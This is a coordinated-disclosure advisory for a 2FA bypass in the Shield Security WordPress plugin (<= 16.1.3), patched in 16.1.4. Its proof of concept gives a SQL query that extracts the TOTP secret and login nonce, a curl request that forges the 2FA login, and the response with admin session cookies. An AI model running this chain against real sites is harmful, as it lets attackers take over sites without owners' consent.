Total site takeover in combination with read-only SQLi – (Shield Security <= 16.1.3)

Affected pluginShield Security
Active installs60,000+
Vulnerable version<= 16.1.3
Audited version16.1..1
Fully patched version16.1.4
Recommended remediationImmediately upgrade to version 16.1.4 or higher

Description


An attacker can log in as any user with two-factor authentication enabled without knowing the user’s primary credentials.

The only precondition is that any plugin, theme, or WordPress Core has one of the seemingly never-ending read-only SQLi vulnerabilities.

Proof of concept


This attack is possible through several security neglects.

Once a legitimate user tries to log in with his primary credentials, the plugin will intercept the request and redirect the user to the 2FA form.
Since this process involves two separate HTTP requests, the plugin needs some way of persisting the user ID that should be logged in after the 2FA validation succeeds.

This is done in the LoginRequestCapture::captureLogin method.

The plugin will (insecurely) generate a random login nonce that will be stored as plaintext in the “wp_usermeta” table for the legitimate user.

$randStart = rand( 0, 10 );	  
$loginNonce = substr( hash( 'sha256', uniqid( '', true ) ), $randStart, 10 );

PHP’s “uniqid” function is not suitable for any cryptographic use.

The following warning is displayed prominently in the PHP manual:

Caution

This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using random_int(), random_bytes(), or openssl_random_pseudo_bytes() instead.

Furthermore, hashing the “random” nonce before insertion in the database does nothing for security since the user will receive the same hash as a hidden input field, meaning plaintext strings at validation.

An attacker can abuse this mechanism by tricking the plugin into logging him without having provided the target user’s primary credentials first.

Since our threat model only assumes a read-only SQLi, the attacker must wait for a legitimate user to initiate his login flow using his primary credentials.

curl -s -o /dev/null -D - -X POST https://site.test/wp-login.php \
-d "log=admin" \
-d "pwd=admin"

*Simulate a legit user login.

This can be automated by temporarily polling the database for inserts in the “wp_usermeta” table with the key “icwp-wpsf-meta”.

SELECT meta_value FROM wp_usermeta 
WHERE meta_key = 'icwp-wpsf-meta' 
AND user_id = TARGET_USER_ID

The above query will return a serialized PHP array. If the serialized array contains a “login_intents” key, the attacker will have a 10-15 seconds window to pull off the attack before the user enters his TOTP from his authenticator APP.

This is more than enough time.

The serialized record will look something like this (displayed as JSON for readability):

{
    "prefix": "icwp-wpsf",
    "user_id": 1,
    "pass_hash": "266b",
    "tours": {
        "dashboard_v1": 1662922763,
        "navigation_v1": 1662923128
    },
    "ga_secret": "TJD7I4OXNQNPU3RD",
    "ga_validated": true,
    "login_intents": {
        "160ede8d07": {
            "start": 1662982530,
            "attempts": 0
        }
    },
    "flash_msg": null
}

The attacker needs the following information:

  • ga_secret: TJD7I4OXNQNPU3RD
  • The first index of login_intents: 160ede8d07

Knowing the plaintext TOTP secret the attacker can now always generate valid six-digit one-time-passwords using a TOTP library in any programming language.

At the time of writing this POC, a valid code is: 651845

The attacker can now log in by submitting the following curl request:

curl -s -o /dev/null -D - -X POST "https://site.test/wp-login.php?shield_action=wp_login_2fa_verify" \
-d "wp_user_id=1" \
-d "login_nonce=160ede8d07" \
-d "icwp_wpsf_ga_otp=651845"
HTTP/2 302 
server: nginx/1.23.1
date: Mon, 12 Sep 2022 12:05:10 GMT
content-type: text/html; charset=UTF-8
x-powered-by: PHP/7.4.30
set-cookie: shield-notbot-nonce=4d92563203; expires=Mon, 12-Sep-2022 12:05:25 GMT; Max-Age=15; path=/; secure
set-cookie: wordpress_sec_e0d4ad442b35aa1a0068d97928663415=admin%7C1663157110%7CM2tbOciuht323zC1mhHf3RPsyoPAmLE4f2KGxfsb0r6%7Cc782bcfc0051f478a2c3ca16af6bd8e0a0455464dcd88778b73e591ac33b8459; path=/wp-content/plugins; secure; HttpOnly
set-cookie: wordpress_sec_e0d4ad442b35aa1a0068d97928663415=admin%7C1663157110%7CM2tbOciuht323zC1mhHf3RPsyoPAmLE4f2KGxfsb0r6%7Cc782bcfc0051f478a2c3ca16af6bd8e0a0455464dcd88778b73e591ac33b8459; path=/wp-admin; secure; HttpOnly
set-cookie: wordpress_logged_in_e0d4ad442b35aa1a0068d97928663415=admin%7C1663157110%7CM2tbOciuht323zC1mhHf3RPsyoPAmLE4f2KGxfsb0r6%7C9fce5f4be9e39c4f26abb376a3b51b5f0391d3b87cff082f0e6a5e2633db6c09; path=/; secure; HttpOnly
cache-control: no-store, no-cache
x-redirect-by: WordPress
location: /wp-login.php

The site is now wholly compromised as the HTTP response contains valid WordPress authentication cookies.

set-cookie: wordpress_sec_e0d4ad442b35aa1a0068d97928663415=admin%7C1663157110%7CM2tbOciuht323zC1mhHf3RPsyoPAmLE4f2KGxfsb0r6%7Cc782bcfc0051f478a2c3ca16af6bd8e0a0455464dcd88778b73e591ac33b8459; path=/wp-admin; secure; HttpOnly

The auth-cookie is valid for user ID 1 (admin) as indicated by the “admin%7” prefix of the cookie value.

Timeline


Vendor contactedSeptember 12, 2022
First ResponseSeptember 12, 2022
Fully patched atSeptember 13, 2022
Publicly disclosedApril 24, 2023

Miscellaneous


  • The vendor was very cooperative and implemented our proposed patch in one business day.

Leave a Reply

Your email address will not be published. Required fields are marked *